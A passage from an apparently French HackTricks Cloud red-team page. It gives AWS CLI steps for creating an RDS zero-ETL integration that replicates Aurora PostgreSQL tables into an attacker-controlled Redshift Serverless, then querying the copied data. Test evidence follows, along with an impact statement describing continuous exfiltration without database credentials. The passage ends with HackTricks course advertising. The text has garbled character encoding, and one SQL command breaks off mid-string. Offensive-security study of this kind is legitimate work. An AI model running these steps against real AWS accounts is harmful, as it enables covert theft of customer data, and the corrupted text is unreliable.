$CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```4) CrĂ©er l'intĂ©gration zeroâETL depuis RDS
```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```5) Matérialiser et interroger les données répliquées dans Redshift
```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration 'Preuves observées lors du test :
- redshift describe-inbound-integrations : Statut ACTIVE pour lâintĂ©gration arn:âŠ377a462b-âŠ
- SVV_INTEGRATION a montrĂ© integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et lâĂ©tat PendingDbConnectState avant la crĂ©ation de la DB.
- AprÚs CREATE DATABASE FROM INTEGRATION, lister les tables a révélé le schéma ztl et la table customers ; une sélection depuis ztl.customers a retourné 2 lignes (Alice, Bob).
Impact : exfiltration continue quasiâtemps rĂ©el de tables Aurora PostgreSQL sĂ©lectionnĂ©es vers Redshift Serverless contrĂŽlĂ© par lâattaquant, sans utiliser dâidentifiants de base de donnĂ©es, de sauvegardes, ou dâaccĂšs rĂ©seau au cluster source.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

